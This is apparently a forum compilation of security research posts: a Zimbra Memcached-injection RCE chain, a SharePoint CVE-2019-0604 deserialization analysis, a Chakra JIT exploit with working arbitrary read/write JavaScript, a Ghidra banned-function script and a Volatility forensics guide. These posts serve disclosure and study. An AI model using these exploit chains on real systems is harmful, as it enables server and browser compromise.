IMAP port in most cases is publicly accessible, so we can safely assume the trigger of this exploit. To bring this to RCE, one still needs to find a suitable gadget to form a chain. The twist is, none of the current public chains (ysoserial) works on Zimbra. 1. Making of a gadget Of all the gadgets available, MozillaRhino1 particularly stands out as all classes in the chain are available on Zimbra's classpath. This chain is based on Rhino library version 1.7R2. Zimbra uses the lib yuicompressor version 2.4.2 for js compression, and yuicompressor is bundled with Rhino 1.6R7. The unfortunate thing is there's an internal bug in 1.6R7 that would break the MozillaRhino1 chain before it ever reaches code execution, so we're out of luck. The good thing is, thanks to the effort in attempting to get the original chain to work and to the blog post detailing the MozillaRhino1 chain [1], we learnt a lot about Rhino's internals and on our way to pop another gadget. There are two main points. First, the class NativeJavaObject on deserialization will store all members of an object's class. Members refer to all elements that define a class such as variables and methods. In Rhino context, it also detects when there's a getter or setter member and if so, it declares and includes the corresponding bean as an additonal member of this class. Second, a call to NativeJavaObject.get() will search those members for a matching bean name and if one is found, invoke that bean's getter. These match the nature of one of the native 'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino will invoke TemplatesImpl.getOutputProperties() which will eventually lead to the construction of a malicious class from our predefined bytecodes. Searching for a place that we can control the passed-in member name leads to the discovery of JavaAdapter.getObjectFunctionNames() (Thanks to the valuable help from @matthias_kaiser) and it's directly accessible from NativeJavaObject.readObject(). The chain is now available in ysoserial's payload storage under the name MozillaRhino2. It works all the way to the latest version (with some tweaks) and has some additional improvement over MozillaRhino1. One interesting thing I found while reading Matt's blog post is that OpenJDK 1.7.x always bundles with rhino as its scripting engine, which essentially means that these rhino gadgets may very well work natively on OpenJDK7 and below. This discovery escalates the bug from a Memcached Injection into a Code Execution. To exploit it, query into the Memcached service, pop out any 'zmImap' key, replace its value with the serialized object from ysoserial and next time the corresponding user logins via IMAP, the deserialization will trigger. 2. Smuggling from HTTP to Memcached RCE from port 11211 sounds fun, but less so practical. So again, we turn to SSRF for help. The idea is to use the HTTP request from SSRF to inject our defined data in Memcached. To accomplish this, first we need to control a field in the HTTP request that allows the injection of newlines (CRLF). This is because a CRLF in Memcached will denote the end of a command and allow us to start a new arbitrary command after that. Second, since we're pushing raw objects into Memcached, our controlled input also needs to be able to carry binary data. Zimbra has quite a few SSRFs in itself, however there's only one place that suffices both conditions, and it happens to be the all-powerful ProxyServlet earlier. For a successful smuggle from HTTP to Memcached protocol, you should see something like above under the hood. It has exactly 6 ERROR and 1 STORED, correlating to 6 lines of HTTP headers and our payload, which also means our payload was successfully injected. 3. RCE from public port That said, things are different when we use SSRF to inject to Memcached. In this situation we could only inject data into the cache, not pop data out because HTTP protocol cannot parse Memcached response. So we have no idea what our targeted Memcached entry's key looks like, and we need to know the exact key to be able replace its value with our malicious payload. Fortunately, the Memcached key for Zimbra Imap follows a structure that we can construct ourselves. It follows the pattern ? 1 zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity> with: - accountId fetched from hex-decoding any login token - folderNo the constant '2' if we target the user's Inbox folder - modseq and uidvalidity obtained via IMAP as shown below Now we have everything we need. Putting it together, the chain would be as follows: - Get a user credentials - Construct a Memcached key for that user following the above instructions - Generate a ysoserial payload from the gadget MozillaRhino2, use it as the Memcached entry value. - Inject the payload to Memcached via the SSRF. In the end, our payload should look like: ? 1 "set zmImap:61e0594d-dda9-4274-87d8-a2912470a35e:2:162:1 2048 3600 <size_of_object>" + "\r\n" + <object> + "\r\n" - Login again via IMAP. Upon selecting the Inbox folder, the payload will get deserialized, followed by the RCE gadget. The patches Zimbra issued quite a number of patches, of which the most important are to fix XXEs and arbitrary deserialization. However the fix is only available for 8.7.11 and 8.8.x. If you happen to use an earlier version of Zimbra, consider upgrading to one of their supported version. As a workaround, blocking public requests going to '/service/proxy*' would most likely break the RCE chains. Unfortunately there's none that I can think of that could block all the XXEs without also breaking some of Zimbra features. [1] https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html Sursa: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
  7. CVE-2019-0604: Details of a Microsoft SharePoint RCE Vulnerability March 13, 2019 | Guest Blogger Last month, Microsoft released patches to address two remote code execution (RCE) vulnerabilities in SharePoint. In both Critical-rated cases, an attacker could send a specially crafted request to execute their code in the context of the SharePoint application pool and the SharePoint server farm account. Both of these bugs were reported to the ZDI program by Markus Wulftange. He has graciously provided the following write-up on the details of CVE-2019-0604. When searching for new vulnerabilities, one approach is the bottom-up approach. It describes the approach of looking for an interesting sink and tracing the control and data flow backwards to find out if the sink can be reached. One of these promising sinks is the deserialization using the XmlSerializer. In general, it is considered a secure serializer as it must be instrumented with the expected type and it is not possible to specify an arbitrary type within the stream that cannot appear in the object graph of the expected type. But it is exploitable if the expected type can be controlled as well, as it has been shown in Friday the 13th – JSON Attacks by Alvaro Muñoz & Oleksandr Mirosh [PDF]. For analyzing the SharePoint 2016 assemblies, dnSpy is an excellent tool as it can be used for both decompiling and debugging of .NET applications. So, after dnSpy is attached to the IIS worker process w3wp.exe that is running SharePoint 2016, and the assemblies have been loaded, the usage of the XmlSerializer(Type) constructor can be analyzed. Now the tedious part begins where every one of the XmlSerializer(Type) constructor calls has to be looked at and to check whether the expected type is variable at all (e.g. it is not hard-coded as in new XmlSerializer(typeof(DummyType))) and whether it is possible to control the type. One of the methods where the XmlSerializer(Type) constructor gets called is the Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) method in Microsoft.SharePoint.dll. The same type with the same functionality is also in the Microsoft.Office.Server.ApplicationRegistry.Infrastructure namespace in the Microsoft.SharePoint.Portal.dll. We will come back to this later and stick to the one in Microsoft.SharePoint.dll. Figure 1 : Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) Here both the typeName, used to specify the expected type, and the data that gets deserialized originate from text, which originates from the method's argument encodedId. This looks perfect as long as the method gets actually called and the passed parameter can be controlled. Tracing back the Flow to the Source The next step is to go through the calls and see if the one of them originates from a point that can be initiated from outside and whether the argument value can also be supplied. Figure 2: Calls to Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) If you’re familiar with the ASP.NET, some of the methods might look familiar like Page_Load(object, EventArgs) or OnLoad(EventArgs). They are called during the ASP.NET life cycle, and the types they are defined in extend System.Web.UI.Page, the base type that represents .aspx files. And, in fact, all three types have a corresponding .aspx file: · Microsoft.SharePoint.ApplicationPages.ActionRedirectPage: /_layouts/15/ActionRedirect.aspx · Microsoft.SharePoint.ApplicationPages.DownloadExternalData: /_layouts/15/downloadexternaldata.aspx · Microsoft.SharePoint.Portal.WebControls.ProfileRedirect: /_layouts/15/TenantProfileAdmin/profileredirect.aspx Although in all three cases the parameter value originates from the HTTP request, it is from the URL's query string. That might become a problem as the hex encoding will multiply the length by 4 and thereby can get pretty long and exceed the limit of the HTTP request line. After further analysis, the last one of all, the ItemPicker.ValidateEntity(PickerEntity) method, turned out to be a better pick. Figure 3: ItemPicker.ValidateEntity(PickerEntity) Here, the PickerEntity's Key property of the passed PickerEntity is used in the EntityInstanceIdEncoder.DecodeEntityInstanceId(string) call. It gets called by EntityEditor.Validate(), which iterates each entry stored in the EntityEditor.Entities property to validate it. Figure 4: EntityEditor.Validate() That method gets called by EntityEditor.LoadPostData(string, NameValueCollection), which implements the System.Web.UI.IPostBackDataHandler.LoadPostData(string, NameValueCollection) method. Figure 5: EntityEditor.LoadPostData(string, NameValueCollection) So that method gets automatically called on post back requests to ItemPicker web controls. The call graph looks as follows: Also note the type hierarchy: Verifying the Data Flow Now that there is a way to reach the EntityInstanceIdEncoder.DecodeEntityInstanceId(string) from an ItemPicker web control post back, it is still unclear whether the Key property of a PickerEntity can be controlled as well. The EntityEditor.Entities property is backed by the private field m_listOrder, which gets only assigned at two points: during instantiation and within the EntityEditor.Validate() method. In the latter case, it gets the value of the private field m_listOrderTemp assigned (see line 597 in Fig. 4 above). That field, again, also only gets assigned at two points: during instantiation and within the EntityEditor.ParseSpanData(string) method. This method is also called by EntityEditor.LoadPostData(string, NameValueCollection) with the value of an HtmlInputHidden and the name "hiddenSpanData" (see line 707 in Fig. 5 above). That field's value can be controlled by the user. What is left is to see what EntityEditor.ParseSpanData(string) does with the passed data and whether it ends up as a PickerEntity's Key. We'll skip that because EntityEditor.ParseSpanData(string) is pretty long to show and unless it contains special constructs of nested <SPAN> and <DIV> tags, which get parsed out, everything else ends up in the PickerEntity's Key and then in m_listOrderTemp list. So, now we've found and traversed a vector that allows us to reach EntityInstanceIdEncoder.DecodeEntityInstanceId(string) from an ItemPicker's post back handling while also having control over the input. What is still left is to find an instance of that web control. Finding the Entry Point The ItemPicker web control is actually never used directly in an .aspx page. But when looking at the usages of its base type, EntityEditorWithPicker, it turned out that there is a Picker.aspx at /_layouts/15/Picker.aspx that uses it – what a coincidence! That page expects the type of the picker dialog to use to be provided via the "PickerDialogType" URL parameter in the form of its assembly-qualified name. Here, any of the two ItemPickerDialog types can be used: · Microsoft.SharePoint.WebControls.ItemPickerDialog in Microsoft.SharePoint.dll · Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog in Microsoft.SharePoint.Portal.dll Using the first ItemPickerDialog type shows the following page: Figure 6: Picker.aspx with Microsoft.SharePoint.WebControls.ItemPickerDialog Here, the bottom text field is associated to the ItemPicker. And there is also the correspondent of the HtmlInputHidden with the name ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData that we were looking for. This is the source of our EntityInstanceIdEncoder.DecodeEntityInstanceId(string) sink. Proof of Concept When the form gets submitted with a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData value beginning with "__" (like "__dummy"), a break point at EntityInstanceIdEncoder.DecodeEntityInstanceId(string) will reveal the following situation. Figure 7: Break point at EntityInstanceIdEncoder.DecodeEntityInstanceId(string) with the encodedId value "__dummy" At that point the call stack looks like this: And when the other ItemPickerDialog type is used, just the two topmost entries are different and then look like this: This is the final proof that the data of ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData ends up in EntityInstanceIdEncoder.DecodeEntityInstanceId(string). The rest is only coping with entity instance id encoding and finding an appropriate XmlSerializer payload. After the patch was made available in February, Markus noticed something unusual. The original patch only addressed the Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder in Microsoft.SharePoint.dll but not the Microsoft.Office.Server.ApplicationRegistry.Infrastructure.EntityInstanceIdEncoder in Microsoft.SharePoint.Portal.dll. By using the EntityInstanceIdEncoder type from the Microsoft.SharePoint.Portal.dll with the Picker.aspx as described here, the exploit still worked even though the patch was installed. Microsoft addressed this with the re-release of CVE-2019-0604 yesterday. Special thanks to Markus for providing us such a great write-up. Markus can be found on Twitter at @mwulftange, and we certainly hope to see more submissions from him in the future. Until then, follow the team for the latest in exploit techniques and security patches. Sursa: https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
  8. CVE-2019-0539 Exploitation. Microsoft Edge Chakra JIT Type Confusion Rom Cyncynatu and Shlomi Levin Introduction. In continuation to our previous blog post that covered the root cause analysis of CVE-2019-0539, we now continue to explain how to achieve a full R/W (Read/Write) primitive which can ultimately lead to a RCE (Remote Code Execution). It’s important to note that Microsoft Edge processes are sandboxed and therefore in order to fully compromise a system an additional vulnerability is needed to escape the sandbox. We would like to acknowledge Lokihardt and Bruno Keith for their amazing research in this field which we found to be extremely valuable for the research presented below. Exploitation. As we have seen in the root cause analysis, the vulnerability gives us the ability to override a javascript object’s slot array pointer. Refer to the wondeful research of Bruno Keith presented at BlueHat IL 2019, and we learn that in Chakra, a javascript object (o={a: 1, b: 2};) is implemented in the Js::DynamicObject class which may have different memory layouts, and the properties slot array pointer is called auxSlots. From the DynamicObject class definition (in lib\Runtime\Types\DynamicObject.h), we see the actual specification of the three possible memory layouts for a DynamicObject that Bruno discusses: // Memory layout of DynamicObject can be one of the following: // (#1) (#2) (#3) // +--------------+ +--------------+ +--------------+ // | vtable, etc. | | vtable, etc. | | vtable, etc. | // |--------------| |--------------| |--------------| // | auxSlots | | auxSlots | | inline slots | // | union | | union | | | // +--------------+ |--------------| | | // | inline slots | | | // +--------------+ +--------------+ // The allocation size of inline slots is variable and dependent on profile data for the // object. The offset of the inline slots is managed by DynamicTypeHandler. So an object can have only an auxSlots pointer but no inline slots (#1), have only inline slots but no auxSlots pointer (#3), or have both (#2). In CVE-2019-0539 PoC, the ‘o’ object starts its lifespan in the (#3) memory layout form. Then, when the JIT code invokes the OP_InitClass function for the last time, the memory layout of object ‘o’ changes in-place to (#1). In particular, the exact memory layout of ‘o’ before and after the OP_InitClass fuction invocation by the JIT code is as follows: Before: After: +---------------+ +--------------+ +--->+--------------+ | vtable | | vtable | | | slot 1 | // o.a +---------------+ +--------------+ | +--------------+ | type | | type | | | slot 2 | // o.b +---------------+ +--------------+ | +--------------+ | inline slot 1 | // o.a | auxSlots +---+ | slot 3 | +---------------+ +--------------+ +--------------+ | inline slot 2 | // o.b | objectArray | | slot 4 | +---------------+ +--------------+ +--------------+ Before OP_InitClass invocation, the o.a property used to reside in the first inline slot. After the invocation, it resides in auxSlots array in slot 1. Thus, as we previously explained in the root cause analysis, the JIT code attempts to update the o.a property in the first inline slot with 0x1234, but since it is unaware to the fact that the object’s memory layout has changed, it actually overrides the auxSlots pointer. Now, in order to exploit this vulnerability and achieve an absolute R\W primitive, then as Bruno explains, we need to corrupt some other useful object and use it to read\write arbitrary addresses in memory. But first, we need to better understand the ability that the vulnerability gives us. As we override the auxSlots pointer of a DynamicObject, we can then “treat” whatever we put in auxSlots as our auxSlots array. Thus, if for example we use the vulnerability to set auxSlots to point to a JavascriptArray object as follows some_array = [{}, 0, 1, 2]; ... opt(o, cons, some_array); // o->auxSlots = some_array then we can later override the ‘some_array’ JavascriptArray object memory by assigning ‘o’ with properties. This is described in the following diagram of the memory state after overriding auxSlots using the vulnerability: o some_array +--------------+ +--->+---------------------+ | vtable | | | vtable | // o.a +--------------+ | +---------------------+ | type | | | type | // o.b +--------------+ | +---------------------+ | auxSlots +---+ | auxSlots | // o.c? +--------------+ +---------------------+ | objectArray | | objectArray | // o.d? +--------------+ |- - - - - - - - - - -| | arrayFlags | | arrayCallSiteIndex | +---------------------+ | length | // o.e?? +---------------------+ | head | // o.f?? +---------------------+ | segmentUnion | // o.g?? +---------------------+ | .... | +---------------------+ Thus, theoretically, if for example we want to override the array length, we can do something like o.e = 0xFFFFFFFF, and then use some_array[1000] to access some distant address from the array’s base address. However, there are couple of issues: All other properties except ‘a’ and ‘b’ are not yet defined. This means that in order to have o.e defined in the right slot, we first need to assign all other properties as well, an operation that will corrupt much more memory than necessary, rendering our array unusable. The original auxSlots array is not large enough. It is initially allocated with only 4 slots. If we define more than 4 properties, the Js::DynamicTypeHandler::AdjustSlots function will allocate a new slots array, setting auxSlots to point to it instead of our JavascriptArray object. The 0xFFFFFFFF value that we plan put in the length field of the JavascriptArray object will not be written exactly as is. Chakra utilizes what’s called tagged numbers, and so the number that will be written would be “boxed”. (See further exaplanations in Chartra’s blog post here). Even if we were able to override just the length with some large value while avoiding corrupting the rest of the memory, this would only give us a “relative” R\W primitive (relative to the array base address), which is significantly less powerful than a full R\W primitive. In fact (spoiler alert), overriding the length field of a JavascriptArray is not useful, and it won’t lead to the relative R\W primitive that we would expect to achieve. What actually needs to be done in this particular case is to corrupt the segment size of the array, but we won’t get into that here. Still, let’s assume that overriding the length field is useful, as it is a good showcase of the subtleties of the exploitation. So, we need to come up with some special techniques to overcome the above mentioned issues. Let’s first discuss issues 1 and 2. The first thing that comes to mind is to pre-define more properties in ‘o’ object in advance, before triggering the vulnerability. Then, when overriding the auxSlots pointer, we already have o.e defined in the correct slot that corresponds to the length field of the array. Unfortunately, when adding more properties in advance, one of the two occures: We change the object memory layout too early to layout (#1), hence inhibiting the vulnerability from occurring in the first place, as there is no chance of overriding the auxSlots pointer anymore. We just create more inline slots that eventually remain inlined after triggering the vulnerability. The object ends up in layout (#2), with most of the properties reside in the new inlined slots. Therefore we still can’t reach slots higher than slot 2 in the alleged auxSlots array – the ‘some_array’ object memory. Bruno Keith in his presentation came up with a great idea to tackle issues 1 and 2 together. Instead of directly corrupting the target object (JavascriptArray in our example), we first corrupt another DynamicObject that was prepared in advance to have many properties, and is already in memory layout (#1): obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; some_array = [{}, 0, 1, 2]; ... opt(o, cons, obj); // o->auxSlots = obj o.c = some_array; // obj->auxSlots = some_array Let’s observe the memory before and after running o.c = some_array;: Before: o obj +--------------+ +--->+--------------+ +->+--------------+ | vtable | | | vtable | //o.a | | slot 1 | // obj.a +--------------+ | +--------------+ | +--------------+ | type | | | type | //o.b | | slot 2 | // obj.b +--------------+ | +--------------+ | +--------------+ | auxSlots +---+ | auxSlots +--------+ | slot 3 | // obj.c +--------------+ +--------------+ +--------------+ | objectArray | | objectArray | | slot 4 | // obj.d +--------------+ +--------------+ +--------------+ | slot 5 | // obj.e +--------------+ | slot 6 | // obj.f +--------------+ | slot 7 | // obj.g +--------------+ | slot 8 | // obj.h +--------------+ | slot 9 | // obj.i +--------------+ | slot 10 | // obj.j +--------------+ After: o obj some_array +--------------+ +--->+--------------+ +->+---------------------+ | vtable | | | vtable | //o.a | | vtable | // obj.a +--------------+ | +--------------+ | +---------------------+ | type | | | type | //o.b | | type | // obj.b +--------------+ | +--------------+ | +---------------------+ | auxSlots +---+ | auxSlots +-//o.c--+ | auxSlots | // obj.c +--------------+ +--------------+ +---------------------+ | objectArray | | objectArray | | objectArray | // obj.d +--------------+ +--------------+ |- - - - - - - - - - -| | arrayFlags | | arrayCallSiteIndex | +---------------------+ | length | // obj.e +---------------------+ | head | // obj.f +---------------------+ | segmentUnion | // obj.g +---------------------+ | .... | +---------------------+ Now, executing obj.e = 0xFFFFFFFF will actually replace the length field of the ‘some_array’ object. However, as explained in issue 3, the value will not be written as is, but rather in its “boxed” form. Even if we ignore issue 3, issues 4-5 still render our chosen object not useful. Therefore, we ought to choose another object to corrupt. Bruno cleverly opted for using an ArrayBuffer object in his exploit, but unfortunately, in commit cf71a962c1ce0905a12cb3c8f23b6a37987e68df (Merge 1809 October Update changes), the memory layout of the ArrayBuffer object was changed. Rather than pointing directly at the data buffer, it points to an intermediate struct called RefCountedBuffer via a bufferContent field, and only this struct points at the actual data. Therefore, a different solution is required. Eventually, we came up with the idea of corrupting a DataView object, which actually uses an ArrayBuffer internally. Therefore, it has similar advantages as to working with an ArrayBuffer, and it also directly points at the ArrayBuffer’s underlying data buffer! Here is the memory layout of a DataView object which is initialized with an ArrayBuffer (dv = new DataView(new ArrayBuffer(0x100));😞 actual DataView ArrayBuffer buffer +---------------------+ +--->+---------------------+ RefCountedBuffer +--->+----+ | vtable | | | vtable | +--->+---------------------+ | | | +---------------------+ | +---------------------+ | | buffer |---+ +----+ | type | | | type | | +---------------------+ | | | +---------------------+ | +---------------------+ | | refCount | | +----+ | auxSlots | | | auxSlots | | +---------------------+ | | | +---------------------+ | +---------------------+ | | +----+ | objectArray | | | objectArray | | | | | |- - - - - - - - - - -| | |- - - - - - - - - - -| | | +----+ | arrayFlags | | | arrayFlags | | | | | | arrayCallSiteIndex | | | arrayCallSiteIndex | | | +----+ +---------------------+ | +---------------------+ | | | | | length | | | isDetached | | | +----+ +---------------------+ | +---------------------+ | | | | | arrayBuffer |---+ | primaryParent | | | +----+ +---------------------+ +---------------------+ | | | | | byteOffset | | otherParents | | | +----+ +---------------------+ +---------------------+ | | | | | buffer |---+ | bufferContent |---+ | +----+ +---------------------+ | +---------------------+ | | | | | bufferLength | | +----+ | +---------------------+ | | | +-------------------------------------------------------------+ As we can see, the DataView object points to the ArrayBuffer object. The ArrayBuffer points to the the aforementioned RefCountedBuffer object, which then points to the actual data buffer in memory. However, as said, observe that the DataView object also directly points to the actual data buffer as well! If we override the buffer field of the DataView object with our own pointer, we actually achieve the desired absolute read\write primitive as required. Our obstacle is then only issue 3 – we can’t use our corrupted DynamicObject to write plain numbers in memory (tagged numbers…). But now, as DataView objects allow us to write plain numbers on its pointed buffer (see the DataView “API” for details), we can get inspired by Bruno once again, and have two DataView objects in which the first is pointing at the second, and precisely corrupting it how we want. This will solve the last remaining issue, and give us our wanted absolute R\W primitive. So let’s go over the entire exploitation process. See the drawing and explanation below (non interesting objects omitted): o obj DataView #1 - dv1 DataView #2 - dv2 +--------------+ +->+--------------+ +->+---------------------+ +->+---------------------+ +--> 0x???? | vtable | | | vtable | //o.a | | vtable | //obj.a | | vtable | | +--------------+ | +--------------+ | +---------------------+ | +---------------------+ | | type | | | type | //o.b | | type | //obj.b | | type | | +--------------+ | +--------------+ | +---------------------+ | +---------------------+ | | auxSlots +-+ | auxSlots +-//o.c--+ | auxSlots | //obj.c | | auxSlots | | +--------------+ +--------------+ +---------------------+ | +---------------------+ | | objectArray | | objectArray | | objectArray | //obj.d | | objectArray | | +--------------+ +--------------+ |- - - - - - - - - - -| | |- - - - - - - - - - -| | | arrayFlags | | | arrayFlags | | | arrayCallSiteIndex | | | arrayCallSiteIndex | | +---------------------+ | +---------------------+ | | length | //obj.e | | length | | +---------------------+ | +---------------------+ | | arrayBuffer | //obj.f | | arrayBuffer | | +---------------------+ | +---------------------+ | | byteOffset | //obj.g | | byteOffset | | +---------------------+ | +---------------------+ | | buffer |-//obj.h--+ | buffer |--+//dv1.setInt32(0x38,0x??,true); +---------------------+ +---------------------+ //dv1.setInt32(0x3C,0x??,true); Trigger the vulnerability to set ‘o’ auxSlots to ‘obj’ (opt(o, cons, obj);). Use ‘o’ to set ‘obj’ auxSlots to the first DataView (o.c = dv1;). Use ‘obj’ to set the first DataView (‘dv1’) buffer field to the next DataView object (obj.h = dv2;). Use the first DataView object ‘dv1’ to precisely set the buffer field of the second DataView object ‘dv2’ to our address of choice. (dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);). Notice how we write our chosen address (0xDEADBEEFDEADBEEF) to the exact offset (0x38) of the buffer field of ‘dv2’. Use the second DataView object (‘dv2’) to read\write our chosen address (dv2.getUint32(0, true); dv2.getUint32(4, true);). We repeat steps 4 and 5 for every read\write we want to perform. And here is the full R\W primitive code: // commit 331aa3931ab69ca2bd64f7e020165e693b8030b5 obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; dv1 = new DataView(new ArrayBuffer(0x100)); dv2 = new DataView(new ArrayBuffer(0x100)); BASE = 0x100000000; function hex(x) { return "0x" + x.toString(16); } function opt(o, c, value) { o.b = 1; class A extends c {} o.a = value; } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; opt(o, cons, obj); // o->auxSlots = obj (Step 1) o.c = dv1; // obj->auxSlots = dv1 (Step 2) obj.h = dv2; // dv1->buffer = dv2 (Step 3) let read64 = function(addr_lo, addr_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // read from addr (Step 5) return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE; } let write64 = function(addr_lo, addr_hi, value_lo, value_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // write to addr (Step 5) dv2.setInt32(0, value_lo, true); dv2.setInt32(0, value_hi, true); } // get dv2 vtable pointer vtable_lo = dv1.getUint32(0, true); vtable_hi = dv1.getUint32(4, true); print(hex(vtable_lo + vtable_hi * BASE)); // read first vtable entry using the R\W primitive print(hex(read64(vtable_lo, vtable_hi))); // write a value to address 0x1111111122222222 using the R\W primitive (this will crash) write64(0x22222222, 0x11111111, 0x1337, 0x1337); } main(); Note: If you want to debug the code yourself (in WinDBG for example), a very convenient way would be to use “instruments” to break on interesting lines of the JS code. See these two useful ones below: Set a breakpoint on ch!WScriptJsrt::EchoCallback to stop on print(); calls. Set a breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked to stop on DynamicObject properties assignments that are performed by the interpreter. This is extremely useful to see how the javascript objects (‘o’ and ‘obj’) corrupt other objects in memory. Feel free to combine the two to navigate comfortably throughout the exploitation code. Summary. We have seen how we use the JIT corruption of the DynamicObject’s auxSlots to ultimately gain a full R\W primitive. We had to use the corrupted object to further corrupt other interesting objects – notably two DataView objects in which the first precisely corrupts the second to control the primitive’s address of choice. We had to bypass serveral limitations\issues imposed by working with the javascript’s DynamicObject “API”. Finally, be aware that gaining a full R\W primitive is only the first step of exploiting this bug. An attacker would still need to redirect execution flow to gain full RCE. However this is out of scope of this blog post, and could be considered as an exercise left for the reader. Sursa: https://perception-point.io/resources/research/cve-2019-0539-exploitation/
  9. Black Hat Europe 2018 took place at the ExCeL London, December 3-6, 2018. Check out the event information here: https://www.blackhat.com/eu-18/
  10. Automating GHIDRA: Writing a Script to Find Banned Functions by Michael Fowl | Mar 9, 2019 | AppSec, Exploit Development, Malware Analysis At VDA Labs we get excited about Reverse Engineering tools, and the recent release of NSA’s GHIDRA does not disappoint. The fact that it is free, supports many different CPU architectures, contains decompiler functionality, and allows many Reverse Engineers to work on the same project via a Team server, are some of the highlights. Another area of immediate interest to us was the scripting functionality. Much like IDA Pro, it is very easy to write scripts to help automate Reverse Engineering tasks. A Quick Script While playing with this functionality, we quickly wrote a script that searches through a program for the use of any unsafe functions. While not overly complicated, it demonstrates how fast and easy it is to extend GHIDRA’s functionality. We hope you have as much fun scripting GHIDRA as us! Get the script at VDA Labs’ Github! # This script locates potentially dangerous functions that could introduce a vulnerability if they are used incorrectly. #@author: VDA Labs (Michael Fowl) #@category Functions print "Searching for banned functions..." # Microsoft SDL banned.h list. blist = (["strcpy", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy", "StrCpyA", "StrCpyW", "lstrcpy", "lstrcpyA", "lstrcpyW", "_tccpy", "_mbccpy", "_ftcscpy", "strcat", "strcatA", "strcatW", "wcscat", "_tcscat", "_mbscat", "StrCat", "StrCatA", "StrCatW", "lstrcat", "lstrcatA", "lstrcatW", "StrCatBuff", "StrCatBuffA", "StrCatBuffW", "StrCatChainW", "_tccat", "_mbccat", "_ftcscat", "sprintfW", "sprintfA", "wsprintf", "wsprintfW", "wsprintfA", "sprintf", "swprintf", "_stprintf", "wvsprintf", "wvsprintfA", "wvsprintfW", "vsprintf", "_vstprintf", "vswprintf", "strncpy", "wcsncpy", "_tcsncpy", "_mbsncpy", "_mbsnbcpy", "StrCpyN", "StrCpyNA", "StrCpyNW", "StrNCpy", "strcpynA", "StrNCpyA", "StrNCpyW", "lstrcpyn", "lstrcpynA", "lstrcpynW", "strncat", "wcsncat", "_tcsncat", "_mbsncat", "_mbsnbcat", "StrCatN", "StrCatNA", "StrCatNW", "StrNCat", "StrNCatA", "StrNCatW", "lstrncat", "lstrcatnA", "lstrcatnW", "lstrcatn", "gets", "_getts", "_gettws", "IsBadWritePtr", "IsBadHugeWritePtr", "IsBadReadPtr", "IsBadHugeReadPtr", "IsBadCodePtr", "IsBadStringPtr"]) # loop through program functions function = getFirstFunction() while function is not None: for banned in blist: if function.getName() == banned: print "%s found at %s" % (function.getName(),function.getEntryPoint()) #function.setComment("Badness!") function = getFunctionAfter(function) print view raw FindBannedFunctions.py hosted with ❤ by GitHub How to Run a GHIDRA Script Running one of the 238 included scripts, or adding your own script is quite easy. Simply drop the script on one of these directories. Another option is creating your own script in the “Script Manager” interface. After creating the “FindBannedFunctions.py” GHIDRA script, simply run it on any program like is shown below. The output for an example ARM program we are reversing in some of our previous IoT hacking blogs, should look something like the screen capture below. Simply double-click any of the identified memory addresses to visit the Banned Function entry point. Once there, you can press “Ctrl-Shift-F” to find any Cross-references where the Banned Function is used in the application. Happy GHIDRA scripting! And if you need any reverse engineering support — we’d love to help. Sursa: https://www.vdalabs.com/2019/03/09/automating-ghidra-writing-a-script-to-find-banned-functions/
  11. Volatility Workflow for Basic Incident Response Posted on February 18, 2019 by admin Recently I found myself needing to do some investigations of full memory dumps. This was a pretty untried arena for me, even if it has been on my radar to learn for a while. After a bit of blindly stumbling around I found this article from Volatility-Labs which grounded me and gave me a good starting point to assess a memory dump. So take a peak, certainly there are much deeper techniques for malware analysis from memory, but this process should allow for basic analysis of any memory dump. First of course we need to collect a memory dump. There are many different tools for this if you want a write up on many of the options check out this article from Marcos Fuentes Martínez comparing acquisition tools. For my testing I chose to use DumpIt from Comae. With the executable loaded to a flash drive I attached it to the system to investigate. Here I used it with the /T flag to copy the memory in a RAW format. .\DumpIt.exe /T RAW After the memory is acquired and taken to the analysis system, the first thing we need to find out is that memory profile we need to use so that our tools known how to read the dump. In this case I will be using the open source tool Volatility to query and analyze the dump. I recommend downloading the standalone executable from their download page to avoid dependency issues. For Volatility the command to run is imageinfo, this should run for a while and then output recommended memory profiles. Now with a profile in hand we can query some data that any System Admin should be familiar with, running processes and networking activity. –profile: sets volatility to know how to process the memory dump -f: designates the file for volatility to ingest (the raw memory file) pslist: list running processes netscan: network activity, similar to a netstat on many OS’s Looking at this data out analyst may be able to notice some oddities, or be able to check with a baseline or the system owner for a list of known good activity from the system. (8443 anyone?) After querying and inspecting the live data lets take stock of the loaded executables. To do this we will dump all DLL’s and loaded modules. Here we will use the -D flag to dump the files to an output directory. dlldump: dump loaded dlls moddump: dump loaded modules Next we will use the volatility module malfind to look for code injection 